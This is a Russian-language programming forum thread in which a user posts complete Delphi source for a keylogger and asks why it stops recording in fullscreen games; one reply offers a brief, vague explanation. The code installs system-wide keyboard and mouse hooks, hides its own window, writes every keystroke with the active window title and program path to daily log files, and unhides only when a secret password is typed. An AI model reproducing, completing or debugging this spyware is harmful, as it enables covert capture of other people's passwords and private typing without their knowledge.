0 / 0 / 0
Регистрация: 09.10.2013
Сообщений: 6
|
|
1 | |
Что не так с кодом? ( пытаюсь понять, что не так? )13.10.2013, 22:37. Показов 2241. Ответов 1
Метки нет Все метки)
(
Есть исходный код. Hook, работает хорошо, но есть минус огромный - перестаёт писать в лог, при открытии программы\игры Фуллскрином. т.е Программы типа "google chrome", блокнота и.т.д - пишет на ура! Но стоит запустить игру фуллскрином, или другую программу, перестаёт писать, записывает только название окна. Помогите разобрать, какая причина?
.dll Кликните здесь для просмотра всего текста
Код
library SniffDll; uses WinTypes, WinProcs, Messages; const KeyEvent=WM_USER+1; MouseEvent=KeyEvent+1; WinTitle='TKeyForm'; var HookHandle, MouseHandle: HHOOK; function KeyHook(code: integer; WParam: word; lParam: Longint): Longint; stdcall; var Wnd: hWnd; begin if (code = HC_ACTION) and (lParam <> lParam or $8000 shl 16) and (lParam <> lParam or $8000 shl 15) then begin Wnd:=FindWindow(WinTitle, nil); SendMessage(Wnd, KeyEvent, wParam, lParam); end; Result:=CallNextHookEx(HookHandle, code, WParam, lParam); end; function MouseHook(code: integer; WParam: word; lParam: Longint): Longint;StdCall; var Wnd: hWnd; begin if (code = HC_ACTION) then begin Wnd:=FindWindow(WinTitle, nil); SendMessage(Wnd, MouseEvent, wParam, lParam); end; Result:=CallNextHookEx(MouseHandle, code, WParam, lParam); end; procedure SetKeyHook; export; begin HookHandle:=SetWindowsHookEx(WH_KEYBOARD, @KeyHook, hInstance, 0); MouseHandle:=SetWindowsHookEx(WH_MOUSE, @MouseHook, hInstance, 0); end; procedure DelKeyHook; export; begin if HookHandle <> 0 then UnhookWindowsHookEx(HookHandle); HookHandle:=0; if MouseHandle <> 0 then UnhookWindowsHookEx(MouseHandle); MouseHandle:=0; HookHandle:=0; end; exports SetKeyHook name 'SetKeyHook', DelKeyHook name 'DelKeyHook'; begin end. /.exe Кликните здесь для просмотра всего текста
Код
program KeyLogger; uses Messages, Windows; {$R KeyLogger.res} const IconName='MAINICON'; KeyEvent=WM_USER+1; MouseEvent=KeyEvent+1; WinTitle='TKeyForm'; BuffSize=500; Password='STOPSPY'; Starting='START HOOK'; Continue='CONTINUE SPY'; Ending='END HOOK'; DllName='SniffDll.dll'; WinActTxt='Window Activated - '''; type LongRec = packed record Lo, Hi: Word; end; var Handle, Button, CWnd, LastWnd: HWND; WinClass: TWndClass; HLib: THandle; Time: SystemTime; Minute: word; Msg: TMsg; FileName: string; Cr: array[0..1] of char; Buffer: array[0..1000] of char; SzKeyName, WindowName: array[0..100] of char; SnifF: boolean; bPassword: string[Length(Password)]; AfterCrush: boolean=false; function SetKeyHook: Longint; external DllName name 'SetKeyHook'; function DelKeyHook: Longint; external DllName name 'DelKeyHook'; procedure HideAsk; begin ShowWindow(Handle, SW_HIDE); end; procedure ShowAsk; begin ShowWindow(Handle, SW_SHOW); end; procedure RegisterMySelf; begin end; function FileAge(const FileName: string): Integer; var Handle: THandle; FindData: TWin32FindData; LocalFileTime: TFileTime; begin Handle:=FindFirstFile(PChar(FileName), FindData); if Handle <> INVALID_HANDLE_VALUE then begin Windows.FindClose(Handle); if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then begin FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime); if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi, LongRec(Result).Lo) then Exit; end; end; Result:=-1; end; function FileExists(const FileName: string): Boolean; begin Result:=FileAge(FileName) <> -1; end; function StrLen(const Str: PChar): Cardinal; assembler; asm mov edx, edi mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb mov eax, 0FFFFFFFEh sub eax, ecx mov edi, edx end; function StrCopy(Dest: PChar; const Source: PChar): PChar; assembler; asm push edi push esi mov esi, eax mov edi, edx mov ecx, 0FFFFFFFFh xor al, al repne scasb not ecx mov edi, esi mov esi, edx mov edx, ecx mov eax, edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb pop esi pop edi end; function StrEnd(const Str: PChar): PChar; assembler; asm mov edx, edi mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb lea eax, [edi-1] mov edi, edx end; function StrCat(Dest: PChar; const Source: PChar): PChar; begin StrCopy(StrEnd(Dest), Source); Result := Dest; end; function IntToStr(x: integer): string; begin Str(x, Result); end; procedure GenerateFileName; var ST: SystemTime; begin GetLocalTime(ST); FileName:=IntToStr(ST.wDay)+'day_'+IntToStr(ST.wMonth)+'month.log'; if FileExists(FileName) then AfterCrush:=true; end; procedure EmptyBuffer; var F: File; begin GenerateFileName; AssignFile(F, FileName); if FileExists(FileName) then begin Reset(F, 1); Seek(F, FileSize(F)); end else Rewrite(F, 1); BlockWrite(F, Buffer, StrLen(Buffer)); CloseFile(F); FillChar(Buffer, SizeOf(Buffer), chr(0)); end; procedure SaveData(D: PChar); begin if StrLen(Buffer) < BuffSize then StrCat(Buffer, D) else EmptyBuffer; end; procedure WriteTime; var K: string[100]; i: byte; begin if Time.wMinute > 9 then K:='Time : '''+IntToStr(Time.wHour)+':'+IntToStr(Time.wMinute)+'''' else K:='Time : '''+IntToStr(Time.wHour)+':0'+IntToStr(Time.wMinute)+''''; for i:=1 to Length(K) do SzKeyName[i-1]:=K[i]; SzKeyName[Length(K)]:=chr(0); SaveData(SzKeyName); FillChar(SzKeyName, SizeOf(SzKeyName), chr(0)); SaveData(Cr); end; procedure CheckTime; begin GetLocalTime(Time); if Time.wMinute<>Minute then begin Minute:=Time.wMinute; SaveData(Cr); WriteTime; end; end; procedure CheckTask; begin CWnd:=GetForegroundWindow; GetWindowText(CWnd, SzKeyName, SizeOf(SzKeyName)); if (CWnd <> LastWnd) or (SzKeyName <> WINDOWNAME) then begin LastWnd:=CWnd; WindowName:=SzKeyName; GetWindowModuleFileName(CWnd, SzKeyName, SizeOf(SzKeyName)); if (StrLen(WindowName) <> 0) and (StrLen(SzKeyName) <> 0) then begin SaveData(Cr); SaveData(WinActTxt); SaveData(WindowName); SaveData(''' in Module : '''); SaveData(SzKeyName); SaveData(''';'); end else if (StrLen(WindowName) = 0) and (StrLen(SzKeyName) <> 0) then begin SaveData(Cr); SaveData(WinActTxt); SaveData('Can not detect'); SaveData(''' in Module : '''); SaveData(SzKeyName); SaveData(''';'); end else begin SaveData(Cr); SaveData(WinActTxt); SaveData(WindowName); SaveData(''' in Module : '); SaveData('Can not detect'); SaveData(''';'); end; SaveData(Cr); CheckTime; end; FillChar(SzKeyName, SizeOf(SzKeyName), chr(0)); end; procedure StartSniff; begin Minute:=100; Sniff:=true; hLib:=LoadLibrary(DllName); SetKeyHook; Buffer[0]:=chr(0); LastWND:=0; WindowName:=''; CheckTask; GenerateFileName; FillChar(Buffer, SizeOf(Buffer), chr(0)); SaveData(Cr); if AfterCrush then SaveData(Continue) else SaveData(Starting); GetLocalTime(Time); Minute:=Time.wMinute; WriteTime; FillChar(SzKeyName, 100, chr(0)); bPassword:=''; end; procedure EndSniff; begin Sniff:=false; Minute:=100; SaveData(Cr); GetLocalTime(Time); Minute:=Time.wMinute; SaveData(ENDING); WriteTime; FreeLibrary(hLib); DelKeyHook; EmptyBuffer; end; procedure CheckPassWord(b: Char); var i: byte; begin bPassword:=bPassword + b; for i:=1 to Length(bPassword) do if bPassword[i] <> Password[i] then begin bPassword:=''; break; end; if Length(bPassword) = Length(Password) then ShowAsk; end; function WndProc(hnd, wmsg, wparam, lparam: integer): integer; stdcall; var t: string; begin case wmsg of WM_COMMAND: begin if dword(lparam) = button then begin if Sniff then begin T:='start spy'; SendMessage(Button, WM_SETTEXT, 0, integer(T)); EndSniff; end else begin T:='stop spy'; SendMessage(Button, WM_SETTEXT, 0, integer(T)); HideAsk; StartSniff; end; end; end; KeyEvent: begin GetKeyNameText(lParam, SzKeyName, SizeOf(SzKeyName)); CheckPassword(chr(wParam)); SaveData('<'); SaveData(SzKeyName); FillChar(SzKeyName, 100, chr(0)); SaveData('>'); end; MouseEvent: CheckTASK; WM_DESTROY: begin EndSniff; EmptyBuffer; PostQuitMessage(0); end; else Result:=DefWindowProc(hnd, wmsg, wparam, lparam); end; end; Procedure CreateMySelf; var T: string; begin with WinClass do begin lpszClassName:=WinTitle; lpfnWndProc:=@WndProc; cbClsExtra:=0; cbWndExtra:=0; hInstance:=hInstance; style:=CS_HREDRAW+CS_VREDRAW+CS_DBLCLKS; hIcon:=LoadIcon(hInstance, IconName); hCursor:=LoadCursor(hInstance, IDC_ARROW); hbrBackground:=COLOR_WINDOW; end; RegisterClass(WinClass); Handle:=CreateWindowEx(WS_EX_WINDOWEDGE, WinTitle, 'Key Logger', WS_VISIBLE or WS_MINIMIZEBOX or WS_CAPTION or WS_SYSMENU, integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 170, 63, 0, 0, hInstance, nil); Button:=CreateWindowEx(BS_RIGHTBUTTON, 'BUTTON', 'Hook', (WS_TABSTOP or WS_VISIBLE or WS_CHILD), 5, 5, 96, 25, Handle, 0, hInstance, nil); T:='stop spy'; SendMessage(Button, WM_SETTEXT, 0, integer(T)); end; begin CreateMySelf; RegisterMySelf; Cr:=chr(13)+chr(10); FindWindow(WinTitle, nil); Sniff:=false; StartSniff; HideAsk; while GetMessage(Msg, 0, 0, 0) do begin TranslateMessage(Msg); DispatchMessage(Msg); end; end. Не прошу сделать всё за меня. Прошу указать на ошибку, и вариант - как её решить можно было бы). Спасибо.
0
|
|
13.10.2013, 22:37 | |
Ответы с готовыми решениями:
1
Не могу понять что не так с кодом Не могу понять,что не так с кодом
Что не так с кодом? |
Заблокирован
|
|
14.10.2013, 09:46 | 2 |
Приложение в полном экране забирает все ресурсы себе. Активность всех оконных приложений подавляется. Работают только процессы. Но вы не написали, восстанавливаются ли функкции при выходе из полного экрана.
1
|
14.10.2013, 09:46 | |
14.10.2013, 09:46 | |
Помогаю со студенческими работами здесь
2
что не так с кодом?
Что не так с кодом? Что не так с кодом? Искать еще темы с ответами Или воспользуйтесь поиском по форуму: |